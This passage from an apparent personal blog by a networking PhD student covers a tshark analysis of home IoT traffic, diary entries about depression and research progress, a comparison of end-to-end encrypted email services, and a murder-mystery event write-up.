192.168.50.216       <-> 192.168.50.202             1 1,092 bytes       4 336 bytes       5 1,428 bytes    98.319211000         0.2939
192.168.50.216       <-> 192.168.50.1               0 0 bytes         5 455 bytes       5 455 bytes    98.319329000         0.2505
192.168.50.202       <-> 17.253.53.201              2 148 bytes       2 132 bytes       4 280 bytes    81.716483000         1.0465
192.168.50.202       <-> 192.168.50.104             2 818 bytes       2 156 bytes       4 974 bytes    87.030561000         0.0107
192.168.50.216       <-> 192.168.50.131             3 718 bytes       1 75 bytes        4 793 bytes    98.321918000         0.1421
192.168.50.216       <-> 192.168.50.118             3 718 bytes       1 75 bytes        4 793 bytes    98.322266000         0.1420
192.168.50.216       <-> 17.57.146.25               1 90 bytes        2 172 bytes       3 262 bytes    98.048979000         0.0384
192.168.50.216       <-> 192.168.50.134             2 790 bytes       1 75 bytes        3 865 bytes    98.321779000         0.2550
192.168.50.216       <-> 224.0.0.2                  0 0 bytes         2 92 bytes        2 92 bytes     98.049757000         0.0001
192.168.50.216       <-> 10.172.72.196              1 66 bytes        1 70 bytes        2 136 bytes    98.664295000         0.0060
================================================================================

Fast “top talkers” table (by source IP)

❯ tshark -r iot_ap_120s.pcap  -T fields -e ip.src -e frame.len \
  | awk 'NF==2{b[$1]+=$2} END{for (h in b) printf "%-16s %12d\n", h, b[h]}' \
  | sort -k2,2nr | head -n 20
17.253.37.195        29540349
192.168.50.202         422414
192.168.50.1            75521
2.19.120.151            44554
17.253.53.202           22016
1.1.1.1                 20675
23.58.105.122            9936
17.56.138.35             7602
192.168.50.233           7346
192.168.50.118           7216
192.168.50.131           7216
17.253.53.203            7040
54.217.122.41            6271
192.168.50.216           5392
192.168.50.104           3058
192.168.50.189           2278
17.242.218.132           1802
192.168.50.134           1750
192.168.50.196           1653
3.122.71.119              639

DNS & mDNS highlights (what names show up?)

# DNS queries (unicast)
❯ tshark -r iot_ap_120s.pcap -Y "dns.flags.response==0" \
  -T fields -e frame.time -e ip.src -e dns.qry.name | head -n 20
Nov 23, 2025 11:48:38.131162000 CET	192.168.50.1	_hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
Nov 23, 2025 11:48:42.961690000 CET	192.168.50.1	_hap._tcp.local
Nov 23, 2025 11:48:42.962245000 CET	192.168.50.1	_companion-link._tcp.local
Nov 23, 2025 11:48:42.962911000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
Nov 23, 2025 11:48:43.098378000 CET	192.168.50.1	MSS110-f691._hap._tcp.local
Nov 23, 2025 11:48:43.158641000 CET	192.168.50.1	Qingping Air Monitor Lite._hap._tcp.local
Nov 23, 2025 11:48:43.201440000 CET	192.168.50.202	_companion-link._tcp.local
Nov 23, 2025 11:48:43.532623000 CET	192.168.50.1	MSS110-080d._hap._tcp.local
Nov 23, 2025 11:48:43.962673000 CET	192.168.50.1	_hap._tcp.local,MSS110-0ba7._hap._tcp.local,Main Bedroom (3)._companion-link._tcp.local,HomePodSensor 185277._hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
Nov 23, 2025 11:48:49.110167000 CET	192.168.50.1	_hap._tcp.local
Nov 23, 2025 11:48:49.110760000 CET	192.168.50.1	_companion-link._tcp.local
Nov 23, 2025 11:48:49.111395000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
Nov 23, 2025 11:48:49.272920000 CET	192.168.50.1	Qingping Air Monitor Lite._hap._tcp.local
Nov 23, 2025 11:48:49.311002000 CET	192.168.50.1	MSS110-0ba7._hap._tcp.local
Nov 23, 2025 11:48:49.619376000 CET	192.168.50.1	Main Bedroom (3)._companion-link._tcp.local,MSS110-f691._hap._tcp.local,MSS110-080d._hap._tcp.local,HomePodSensor 185277._hap._tcp.local
Nov 23, 2025 11:48:50.115506000 CET	192.168.50.1	_hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
Nov 23, 2025 11:48:55.037844000 CET	192.168.50.1	_hap._tcp.local
Nov 23, 2025 11:48:55.038380000 CET	192.168.50.1	_companion-link._tcp.local
Nov 23, 2025 11:48:55.038926000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
Nov 23, 2025 11:48:55.060503000 CET	192.168.50.202	_companion-link._tcp.local

# mDNS service announcements (AirPlay/HomeKit live here)
❯ tshark -r iot_ap_120s.pcap  -Y "udp.port==5353 && dns" \
  -T fields -e frame.time -e ip.src -e dns.qry.name -e dns.ptr.domain_name \
  | head -n 30

The latter had no output as I wasn’t able to make that work with a static route and relied on Tailscale. (?)

TLS SNI (which cloud endpoints?)

❯ tshark -r iot_ap_120s.pcap -Y "tls.handshake.extensions_server_name" \
  -T fields -e ip.dst -e tls.handshake.extensions_server_name \
  | sort | uniq -c | sort -k1,1nr | head -n 20
   1 1.1.1.1	one.one.one.one
   1 17.253.37.195	streamingaudio.itunes.apple.com
   1 17.253.53.202	pancake.apple.com
   1 17.253.53.203	radio-activity.itunes.apple.com
   1 17.56.138.35	cma.itunes.apple.com
   1 2.19.120.151	play.itunes.apple.com
   1 23.58.105.122	librarydaap.itunes.apple.com
   1 54.217.122.41	guzzoni.apple.com

Ports in use (quick heat check)

❯ tshark -r iot_ap_120s.pcap -T fields -e _ws.col.Protocol -e tcp.dstport -e udp.dstport \
  | awk '{for(i=1;i<=NF;i++) if($i~/^[0-9]+$/) p[$i]++} END{for(k in p) printf "%-8s %8d\n", k, p[k]}' \
  | sort -k2,2nr | head -n 20
64725       19588
443          4086
5353          318
49395         109
7000          109
55514         102
55510         101
64721          47
54806          40
20002          32
64722          27
8883           23
49154          21
55515          21
64723          19
64728          19
64729          19
5223           14
64724          14
64686          13

Epilogue

I’ve been having so so much trouble with setting up a iot-hub for my house where I can connect all my IoT devices to, and without putting a phone on hotspot. Now I finally did it, and I even treated myself by allowing mDNS routing! Let’s cross our fingers and hope this setup finally works nicely.

Downloads: Markdown · Signature (.asc)

View OpenPGP signature

The Loop of Doom

Fri, 07 Nov 2025 13:45:52 +0000

It all started after I came back from my trip to Turkey. I was actually doing really good the first three weeks, or at least I think so. Actually, looking back at it, I maybe wasn’t. Well I had to take like two exams and studied for them, but that was also not good enough. I have not really been able to focus on my work and studies lately. I’ve been feeling more down, sad, exhausted. I’ve been wanting to stay alone at home. To rest. And then I get stressed and sad because I’m not doing anything. I get the feeling of worthlessness a lot lately. It’s exhausting.

Funny how I loved my research, the group, the people, hanging out, trying new things. It’s just funny how everything changed all of the sudden. How I don’t feel anything anymore. How sad I’ve been. How down I’ve been. My cognitive functions, my memory and everything has been also badly damaged. It’s just horrible.

I’ve been also overthinking about my interactions and relationships with people, how they look at me, how they judge me, how they feel about me. And for some reason I tend to care a lot. This has also been extremely exhausting to me.

I was reading about Major Depressive Disorder (MDD) last week. I brought it up in my therapy session too. My therapist said “why do you want to label things?”.

This is actually a really valid question. I don’t know why, maybe because it helps me think about it less? I can put a label on it and store it somewhere in my brain? Maybe. Idk.

This is what I call the loop of doom. MDD. I don’t even know if I’m experiencing it or not. All I know is that things are not right, and I don’t feel well.

Now here is the problem. You start not performing well, then you hate yourself for not performing well, then you take it harder to yourself and it doesn’t work, then you hate yourself more, and it repeats and repeats until you are completely disfunctional. Most cases that get stuck in MDD get suicidal thoughts which is horrible. Thinking about a quick relief for yourself is just forgetting the values you bring to the world.

I’m happy that I’ve not been thinking about these things, the scary things. But this is the first thing doctors ask you. Just to make sure.

It’s sad because I can see it in my monthly reports, in the PhD_journey page of my blog. I can see how bad last month was, and I know this month has not been any better. It’s just scary, and sad. I know I’m losing precious time that I cannot get back. I know at some point I’m expected to deliver results that I won’t have, and I know I won’t like myself when this inevitable happens.

I really do not know what to do. I contacted my thrapist again today to see if he can help me or not. Let me list some stuff I’ve been told to do by my brother in the meanwhile:

Going for short walks
Doing small tasks that make me feel good
idk… I don’t remember anything else.

ChatGPT also gave me some advice, I’ll copy it here:

# 14‑Day Reset — Daily Checklist

**Name:** _____________________  **Start date (Day 1):** ______________  **Wake time target:** ________

### How to use (60 seconds)

* Each day, check **two tiny tasks**: one **Study MRD** and one **Work/Code MRD** (≤15 min each).
* Do **2 short sprints** (start at 10 min on / 2 min off). Stop when the timer ends.
* Log the **evening 2‑minute check‑in** in the table (mood, sleep, meds, sprints, one win).
* If no improvement by **Day 7**, escalate with your prescriber; reassess again on **Day 14**.

### Define today’s Minimum Reliable Dose (MRD)

*(Write clear, tiny actions with a start line → action → done proof.)*

* **Study MRD:** ________________________________________________________________
* ---
* **Work/Code MRD:** ____________________________________________________________
* ---

---

### Daily tracker (14 days)

| Day/Date                   | Outside 10–15m | Study MRD | Work MRD | Sprints (0/1/2) | Mood 0–10 | Sleep hrs | Meds Y/N | One win / Notes                |
| -------------------------- | :------------: | :-------: | :------: | :-------------: | :-------: | :-------: | :------: | ------------------------------ |
| 1 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
| 2 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
| 3 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
| 4 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
| 5 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
| 6 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
| **7 / ____ (Checkpoint)**  |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | **PHQ‑9 today = ____**         |
| 8 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
| 9 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
| 10 / ____                  |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
| 11 / ____                  |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
| 12 / ____                  |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
| 13 / ____                  |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
| **14 / ____ (Checkpoint)** |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | **PHQ‑9 today = ____**         |

---

### Quick reference

**Paper — 12‑min read:** 3 min skim (title/abstract/figures/conclusion) → 7 min one figure + its paragraph → 2 min 3 bullets (Claim / Evidence / Open question).

**Code — restart protocol:**

1. Open repo → `git status` → run tests/linter → open last‑changed file.
2. Choose **one smallest step** (≤10 min): e.g., add a failing test, reproduce a bug, rename a variable, add a log.
3. **Stuck 3‑step (2 min each):** talk it out / write exact error → minimal repro or tiny test → read one doc page. If still stuck after ~15–20 min, park it with the **next guess**.

---

### Safety net (Germany)

* **Emergency:** 112
* **TelefonSeelsorge (24/7):** 0800 111 0 111 · 0800 111 0 222 · 116 123
  If risk rises (can’t stay safe, intense agitation/akathisia), seek same‑day care.

Lmao. I wonder how things will progress in the future, and how I’ll do. Was it really because of a failed relationship? Really? Something that never happened? I don’t believe it, it’s not possible. Or was it because I had the feeling of being used, and thrown away. Maybe if I kept contact I wouldn’tve these feelings. Maybe, just maybe.

But I do feel many many other bad things also happened. Like me not getting good grades in two of my courses (both of which turned out to be outliers, with one only 20% passing the course(!) and the other having a much worse average that previous exam iterations). My paper also got rejected. My research was criticized and shat on heavily. And I felt lonely a lot since I wasn’t being invited to many things other people were. I gained a lot of weight. I lost few friendships I wanted to keep. Some people I cared about started to hate me. And some of the people I considered as friends kept not including me in their plans, making me nervous that things are not right.

Darn. That is a lot. Lot of bad things. Back to back to back.

Ok. Let’s break the loop. How can I do that? Maybe by starting new habits? By going to gym at nights? By eating healthier? By losing weight? By taking baby steps in literature review and my code? By organizing fun things with people? Idk. I really don’t. But I will figure it out and make it work. I have to. I ain’t, and I wasn’t brought up like this. Let’s fleaping go…

I try to keep ya’ll, the empty list of people, updated.

Downloads: Markdown · Signature (.asc)

View OpenPGP signature

Cupid is so dumb

Tue, 04 Nov 2025 19:35:16 +0000

The lyrics are being played in my brain day and night.

“A hopeless romantic all my life”

“Surrounded by couples all the time”

“I guess I should take it as a sign”

But… “I gave a second chance to Cupid”

“But now I’m left here feelin’ stupid”

I might’ve given more than two chances to cupid.

But I’m still left here felling’ stupid.

“I look for his arrows every day”

“I guess he got lost or flew away”

But does it matter anymore? It shouldn’t. It really shouldn’t.

Now all these jokes aside, today I went to Mensa with my group. When eating, I saw a group of people who I’ve been trying to hang out with, and every time they tell me they let me know to join them, but today I saw them, they hadn’t told me.

Funny how my mind jumps to conclusions quickly. Funny how I feel left alone so quickly. Or maybe it isn’t funny, idk. What I do know however is that I’m hurt. There is a bit more to the story than that, but I don’t want to open it up. It’s way too personal to be opened.

The thing is, all of this is just badly affecting me. I cannot really focus on my work, and studies. Maybe I should consider doing more home office? Idk. It could be good though.

I’ve been trying to jump from one addiction to another, just to calm my senses, just to forget, just to move on.

I started with ordering unhealthy food from Uber, eating Tuna and Rice, skipping breakfast, watching crap on Youtube, but none of it help. I then went to thm, that has been helping a bit, but not enough.

I need to be productive at work, I need to take care of my health, I know if I do these, I will feel better about myself and this MDD will go away. Or at least I hope.

For now all I know is that I’m stuck in MDD, and I cannot get out of it. I’m glad suicidal thoughs are off the table. I’m just glad. They only thing I see is darkness, but I know it will change. The sun will rise. That reminds me, is the wind rising? No? Yes? If so, we need to live.

I think this is just so painful to me in the sense that I don’t really have many friends that I consider as friends, and I’m being left alone from some groups that I don’t necesserially wanna be a part of. But oh well, I should not care.

Credit: Cupid by FIFTY FIFTY

Downloads: Markdown · Signature (.asc)

View OpenPGP signature

October '25

Fri, 31 Oct 2025 08:40:43 +0000

1st

Ok, let’s start the month by declareing some goals and agendas.

What do I want to do this month?

Finish previous semester.
Pick the last of the course work for my prep phase.
Finalize the CoNEXT student workshop paper.
Finish my second RIL.
Start my 3rd and last RIL.
Learn more Go to become more comfortable with it, but how do I set this as a measureable goal?
More literature review, persumabely all of FOCI related papers this month.
Work on my codebase:
1. Do code cleaning
2. Add comments for code
3. Start working on ICMP stuff
More socializing! :-)
A fun pet project? Maybe with Go? Maybe with 3d printer? Idk.
Enhance your routines and add exercise to it please!

Alright. Now that the goals are set, let’s start the month strong! My last exam for pervious semester will be on October 7th. I have done 74 ECTS, another 6 will be my last RIL. If they give me Router Lab, 4 of it would count as ungraded along with an advance course such as either NN, ML sec or EML I would be done with the requirements for my prep phase. I then just need to do my QE for which I should submit my first paper for which I’m doing work!

I have started to take SSRIs again. I used to take them before I came to Germany to start my PhD, but after coming here things were going really well for many months, and I wanted to cut the medication. I was taking more than just SSRIs actually, and my psychiatrist agreed to cut all other three medications but advised me to keep taking my SSRI. After being all happy and things working very well, we started to cut the last piece of the puzzle. We agreed to reduce the dosage by 0.25% of the max and wait for one month. Things were going really well for the first two and a half month, and then it happened. The catastrophe that put me in my worst mental and physicall position happened to me. It’s not something I want to talk about in my blog, well at least for now, but I’ve tried to talk about it with my closest friends. It’s so sad that things happened the way they did. I never really fully recovered. But… time has passed. Almost 8 months now. I should not have continued to cut my medication, but I did. I damaged myself badly by being stubborn. My brother who knew everything insisted that I should continue the usage, but I didn’t listen. My parents didn’t know anything, but could see thier happy son turning into the saddest, most depressed thing of all time. I was scared of my own shadow for more than one month. I eventually started to go out, but seeing some certain people made me uncomfortable. This is another thing I haven’t been able to figure out. In the end, I just endured pain, a lot of pain. I’m glad I didn’t break, but I do think most people would’ve. To deal with this pain, I decided to take many courses. Cure pain with more pain. What a fool I was. I just tore myself up mentally and added much more unneeded stress.

Did I mention I didn’t show up in office for 6 weeks? And that when I came back I was hit again with things I didn’t understand? Sometimes in life shit happens, but this was a whole new level. I don’t know how much of this I want to talk about publicly, but I do want to just say that I was hurt really badly. I’ve been trying to just lay low, stick to myself, and stay the hell out of trouble.

3rd

Today is the German unity day, and we have a long weekend ahead! Other than that, last night was one of the most fantabolous days of my life. I’m feeling more content and secure. I’m feeling true happiness. I don’t know how much the SSRI is affecting me, but I know one thing for sure. I’m just like I used to be 9 months ago. Just as jolly, positive, and feeling like I’m on top of the world. Thinking about it a bit more, I do think I’m being a bit less passionate about my work. What could be the reason? Different priorities? Nah. I really love my research and care about it. I think it’s just that there is no pressure on me, and no deadline. I will try to set small deadlines for myself and force myself to be more productive. Oh, and the SSRI adverse effects are visible! Yeah… But it’s going to be alright, I’m sure of it. I have an exam I need to prepare for on 7th, but I’ve been procrastinating. I should plan my days and stick to it. Hell yes.

5th

My student workshop paper to CoNEXT ‘25 was rejected. It got one weak accept and one weak reject, with both reviewers claiming to have somewhat familiarity with the topic.

First review (wa) provided two suggestions for improving the work. However, as this was a workshop paper, the goal was to talk about the research in the presentation and afterwards fine-tune details.

Second review (wr) asked for more details. In the end they suggested only focusing on one approach and it’s evaluation. This kinda defeated the purpose of what I was trying to do, to provide “tools”.

Another thing they mentioned was how ML-based traffic analysis can be used to detect evasion. This is indeed something I like to work on and look at in the near future.

7th

Stressful day. I had my last exam, the exam for Interactive systems that I did not attend the main exam for. I tried to study over the weekend, but some weird things happened throughout the weekend, making my very distracted mind even more distracted. I don’t know how I did, but I’m glad I did the exam. Hopefully I did alright, although I kinda do know some of the mistakes I’ve made, which is a really bad sign… I hope I won’t have to take another extra course in the next semesters, that would just be annoying. I really do hope so.

8th

I’m back at work, still very distracted with life. I do need to do literature review, expand my framework, and focus on my work. It’s a Wednesday unfortunately, meaning I have my German class until 9:30, which today it lasted until 9:45, and then we have cookies at 14:00. I hope I can get myself together and start being productive again.

9th

I will be doing literature review today. Yesteday I didn’t manage to get myself together. Drat. There will be a nice social event later today too. I can rest and socialize with my group’s amazing people! It’ll be fun! :)

Another fun thing is that I will get my very own physical GFW box today. It’s probably the most majestic thing that could’ve happened? The reason for it is that a month ago there was a leak for GFW. Lucky us I guess.

13th

Last week was again not a productive week. I will start to plan my days from now on. The important things are literature review, working on the code base, and looking at the box a bit. Unfortunately the new semester also starts from today. I’ll be having one, at most two courses.

17th

Another unproductive week. I think this was the worst one actually. I can’t focus on reading the papers, I get distracted easily or lose interest. Tobias suggested USENIX’s 3-slide slide deck to enhance my focus, I’ll give it a try.

I also need to address the elephant in the room, and start working on the codebase.

I also need to look at the GFW files more, and try to find useful stuff there.

But first I need to work on HTDN’s papers, and craft the slides. That is the highest priority on my list. I’ll do it.

31st

It went by. It went by quickly. I wasn’t able to pick myself up this month, but I won’t let it happen in the following. I want to be truthful, so I won’t hide anything. the only thing is I should’ve let myself grief a bit, and I did. I’m proud of it. It’s fine. For next month, I will start strong, try to get myself together, and pick myself up. I will make progress. I promise.

Also I think there is no point in me ranting everyday or every once in a while in my PhD journey posts? Maybe it’s not a bad thing. The problem is I don’t have much to present, and that’s why this is the content. Idk if I change the structure or not, but for now it is what it is.

Ok, let’s set some goals for next month in advance, then we can see how good we did.

I want to work on ICMP stuff and make it work nicely.
I want to do more literature review, maybe read all 2025 and 2024 censorship papers. Cross your fingers for this.
I need to keep up with my courses, including the German class.
I might work more on the GFW leaked data, but I think it’s not a priority for me for now. So… scrap this last one.

Downloads: Markdown · Signature (.asc)

View OpenPGP signature

Sending End‑to‑End Encrypted Email (E2EE) without losing friends

Thu, 30 Oct 2025 00:00:00 +0000

If you’ve ever thought “I should really send this securely” and then immediately remembered key servers, certificate stores, and that one time you bricked your GPG setup, this post is for you. Below is a usable path to end‑to‑end encrypted email, roughly how each option works, and when to use which—sprinkled with a little fun so your eyes don’t glaze over.

Honestly, I don’t know why one would settle down for a paid option, but if you want to, then be my guest.

Why people don’t use E2EE email (and why you still should)

Email wasn’t designed for secrecy. It leaks metadata (who emailed whom and when), search and spam engines expect to read your messages, and traditional E2EE requires exchanging and trusting keys or certificates—things most people never think about. That creates friction, breaks “just works” expectations, and makes onboarding your accountant, landlord, and cousin Maddie… exciting.

But the upsides are huge: true confidentiality of message content and attachments, stronger authenticity (signatures!), compliance wins for sensitive data, and fewer “oops, wrong inbox” disasters haunting you forever. In short: if it matters enough to hesitate before sending, it probably matters enough to encrypt.

I mean, generally speaking one can use e2ee for anything, and not just email, but doesn’t it feel cool if you sign your mail with your key, and if the receiver also has pgp keys, to send e2ee mail? No one knows what the two of you talk about, well unless there is a back door in your machine, buuuuuuuut assuming not, you’re good to go!

The contenders (and how they feel to use)

Proton Mail (consumer‑friendly, great cross‑provider story)

Proton gives you automatic E2EE between Proton users. When you email someone on Gmail or Outlook, you can send a password‑protected message that opens in a secure web page; you share the password out‑of‑band (SMS, Signal, etc.). If your recipient already uses PGP, Proton can speak that too. Day‑to‑day, it’s just email—with an extra “lock” option when you need it.

Prices (personal): Free tier exists; paid tiers like Mail Plus and Proton Unlimited add storage, custom domains, and Proton Bridge for desktop clients. Expect single‑digit € per month for personal use; business plans are per‑user.
How to use: Sign up → compose → choose password‑protected email for non‑Proton recipients or send normally to Proton addresses. Recipients can reply securely in the web portal—even without an account.
Ups: Lowest friction to message non‑tech people; slick apps; plays well with PGP if you’re a power user.
Downs: Metadata like recipients stays visible across the wider email network; full power (Bridge, larger storage) lives behind paid tiers.

Honestly though, although I love proton and want to work for them, idk why you would want to pay for such services. If you use their other options, like custom mail domains, etc., then be my guest, otherwise just use Thunderbird! It’s easy to use, and fun to show off.

Tuta (formerly Tutanota) (privacy maximalist, subject‑line encryption)

Tuta offers automatic E2EE between Tuta users and password‑protected emails to anyone else. Its special sauce: it encrypts more by default in its ecosystem—including subject lines—and the whole suite is open‑source and auditable.

Prices (personal & business): Free plan plus personal tiers (e.g., Revolutionary, Legend) and business tiers (Essential/Advanced/Unlimited). Personal is typically low single‑digit €/month; business is per‑user, per‑month.
How to use: Create an account → compose → set a password for non‑Tuta recipients; they read and reply in a secure web page.
Ups: Max privacy posture; encrypted subjects between Tuta users; clean apps.
Downs: Some advanced mail protocols/features are intentionally limited; cross‑ecosystem mail still exposes standard email metadata.

I was introduced to this one literally for writing this post, I had no idea it existed before.

Gmail with Client‑Side Encryption (CSE) (for organizations on Google Workspace)

If you live in Google Workspace, CSE brings real end‑to‑end encryption to Gmail—keys stay with your organization. After admins set it up, users toggle encryption right in the compose window. It’s the least disruptive path for big teams that already run on Gmail.

Prices: CSE is available on certain Workspace editions (e.g., Enterprise Plus, Education Standard/Plus, Frontline Plus). No extra per‑message fee, but you’ll need a compliant key service and the right subscription tier.
How to use: Ask IT to enable CSE and your key service → compose in Gmail → turn on encryption for messages that need it.
Ups: Seamless for employees; centralized key control; good audit/compliance story.
Downs: Only for supported Workspace tiers; external recipients may need compatible tooling or a secure portal experience; not for personal @gmail.com accounts.

I mean… how much can you trust google and their non-open source client? I know some of my collegues here do use it, I won’t. Not with the emails that matter to me.

Outlook / Apple Mail with S/MIME (classic enterprise path)

S/MIME uses X.509 certificates instead of PGP keys and is deeply integrated into Outlook and Apple Mail. Inside one company (or between partners who exchange certs), it’s smooth sailing. Your IT can deploy certificates automatically so users never touch crypto knobs.

Prices: The tech is built in; costs come from certificates. Orgs often issue them internally; public CA prices vary.
How to use: Install/auto‑deploy your certificate → recipients share theirs → click encrypt/sign in Outlook or Mail.
Ups: Great inside enterprises; MDM‑friendly; widely supported.
Downs: Exchanging certs across companies is clunky; personal certs can be confusing; mixed ecosystems require coordination.

Ok. Is there that big of a difference between these and Gmail? Idk. I ain’t trusting non of it. But maybe the apple client I do partially trust. They seem to care about user privacy, or maybe they have brain washed me to believe so.

Thunderbird + OpenPGP (free, powerful, nerd‑approved—now usable)

Thunderbird bakes in OpenPGP and S/MIME. You generate or import a key once, and Thunderbird remembers which contacts can be encrypted. It even supports protected headers/subject encryption so the visible subject can be replaced with a stub while the real subject lives inside the encrypted part. For many privacy‑minded folks, this is the sweet spot of control and usability.

Prices: Free.
How to use: Install Thunderbird → create/import a PGP key → hit the little lock when writing to someone whose key you have. Done.
Ups: Full control, open source, works with any provider via IMAP/SMTP; subject protection available.
Downs: Initial key exchange still scares people; you may need to hand‑hold contacts through setup the first time.

This is just the best. You can also have your calendars at one place. Also your contacts and everything else. They don’t have iOS app which sucks, idk about Android.

Browser add‑ons: Mailvelope & FlowCrypt (bring E2EE to webmail)

If you’re welded to webmail, add‑ons can meet you where you live. Mailvelope brings OpenPGP to Gmail/Outlook/Yahoo and more, right in the browser. FlowCrypt focuses on a polished PGP experience for Gmail and Google Workspace, with business features and key management options.

Prices: Mailvelope is free/open‑source. FlowCrypt has a generous free tier with paid enterprise features for teams.
How to use: Install the extension → create/import keys → compose in a secure editor injected into your webmail.
Ups: Zero provider switch; good for gradually introducing encryption to a contact list that lives in Gmail.
Downs: Browser crypto UX still has edges; enterprise key policy needs the paid tiers; fewer bells & whistles than a full desktop client.

Just no. Don’t trust add-ons. Please.

So… which should you use?

If you need to send a one‑off encrypted message to a non‑technical person, Proton or Tuta’s password‑protected email is the friendliest: they click a link, enter the password you shared elsewhere, and can reply securely even without an account. For a company already on Google Workspace, turn on Gmail CSE so people don’t juggle keys. If you’re a power user or want provider‑agnostic control, go with Thunderbird OpenPGP—it’s free, modern, and interoperable. And if you won’t leave the web, try Mailvelope or FlowCrypt to bolt E2EE onto the inbox you already use.

Honestly though, I would suggest thunderbird all day everyday, twice on Sunday. But that is just my view. If you fancy something else, well go ahead.

A note on what E2EE hides (and what it doesn’t)

End‑to‑end encryption protects the body and attachments. Across the wider email network, metadata like From/To and delivery timestamps remain visible by design. Subjects may also be visible unless your tools use protected headers (Thunderbird can; Tuta encrypts subjects inside its ecosystem). If you truly need to hide everything, email might not be the right tool—reach for Signal or Matrix instead.

Quick price & fit-at-a-glance

Option	Best fit	Personal price vibe	Notes
Proton Mail	Everyday private email + easy messages to anyone	Free; personal paid tiers in single‑digit €/mo; business per‑user	Password‑protected emails to non‑Proton; PGP support
Tuta	Privacy‑max email; encrypted subjects in‑ecosystem	Free; personal low €/mo; business per‑user	Password‑protected emails to non‑Tuta; open source
Gmail CSE	Orgs on Google Workspace	Included with Enterprise Plus/Education/Frontline editions	Admin setup + external‑recipient flow
S/MIME (Outlook/Apple Mail)	Enterprises with IT/MDM	Software built‑in; cert costs vary	Smooth inside one org; cert exchange needed across orgs
Thunderbird OpenPGP	Provider‑agnostic power users	Free	Can encrypt subjects via protected headers
Mailvelope / FlowCrypt	Must stay on webmail	Free / paid enterprise options	PGP in the browser; good stepping stone

The 60‑second starter packs

Proton/Tuta for one‑offs: create an account, write your message, set a password, send; share the password over Signal or SMS. Recipient opens the secure link and can reply—no account needed.

Thunderbird for everything else: install, make a key, send your first signed message; when your contact replies with their key, hit the lock and enjoy encrypted bliss.

Shower thoughts

So, why did I mention any of this? Aside from the fact that I do believe e2ee email should become defacto, and I don’t know why it isn’t already, I do think we are not taking any steps toward protecting ourselves, and rely on third parties to do so for us.

A while ago when the 12 day war happened in Iran, they eventually allowed domestic platforms to be used by Iranians living abroad to talk to their loved ones back home. The thing is, people might not use them because they don’t trust them.

The question I had was different. Assuming that the service is reliable, why can’t we use it and protect ourselves while doing so?

In hindsight this seems stupid. But listen to me. If you have a wrapper that uses your gpg key to encrypt your messages, then you send them via those seemingly “untrusted” medium, why wouldn’t you be able to use it? The only, and oh well, biggest problem is key exchange. Now to be honest, there exist key repositories that one can use, but also you can publish your public key over github, or any open verifiable medium. It is not foolproof, but it’s a way. And as long as there is a minimum reliable channel between the two parties, they can verify the authenticity of the key. Like via a quick short call. They can also be faked, but let’s not go that extreme. Also if many do it, it’s hard to screw over all of them, maybe a subset with spending much resources, but no way you can screw everyone.

Idk how stupid the thing I’m suggesting is, but I wonder if it can be done or not. I don’t know if I’m willing to spend my free time on it or not, but I though I should share the idea to at least know if it’s stupid and wrong or not.

Downloads: Markdown · Signature (.asc)

View OpenPGP signature

La Plaza: The Falcones & the Morettis

Sat, 25 Oct 2025 07:52:53 +0000

Last night I attended a ZiS event called “the Murder Mystery night”.

The story was about two families. The Falcones, and the Moretti family.

Gold-embossed invitations arrive at La Plaza for a celebration of life honoring Salvatore Falcone, recently slain Don. All members of the Moretti family are invited to the party!

Family Trees

%%{init: {"flowchart":{"htmlLabels": true, "nodeSpacing": 30, "rankSpacing": 35}} }%% flowchart TB subgraph falcone["Falcone — current generation"] direction TB Salvatore["Salvatore Falcone
dead boss"] Serena["Serena
widow (bosswife)"] Salvatore -- Married --> Serena %% row: siblings subgraph falcone_row1[ ] direction LR Sophia["Sophia
underboss"] Massimo["Massimo
lawyer"] Fabiola["Fabiola
financial
advisor"] Aurora["Aurora
associate"] end %% row: next generation subgraph falcone_row2[ ] direction LR Lorenzo["Lorenzo
fixer
(Sophia's son)"] Michelangelo["Michelangelo
enforcer
(Massimo's son)"] Antonio["Antonio
hitman"] end Sophia --> Lorenzo Massimo --> Michelangelo Fabiola -- Married --> Antonio end

%%{init: {"flowchart":{"htmlLabels": true, "nodeSpacing": 30, "rankSpacing": 35}} }%% flowchart TB subgraph moretti["Moretti family"] direction TB Benito["Benito
boss"] Nicoletta["Nicoletta
bosswife"] Claudia["Claudia
ex wife"] Benito -- Married --> Nicoletta Benito -- Divorced --> Claudia %% row: children subgraph moretti_row1[ ] direction LR Sergio["Sergio
underboss"] Lucia["Lucia
associate"] end Benito -->|son| Sergio Nicoletta -->|son| Sergio Benito -->|daughter| Lucia Claudia -->|daughter| Lucia %% row: Lucia's crew subgraph moretti_row2[ ] direction LR Violetta["Violetta
fixer"] Santo["Santo
enforcer"] end Lucia --> Violetta Lucia --> Santo end Enrico["Enrico
finantial advisor"] Benito ---|younger brother| Enrico

Who’s Who (quick dossiers)

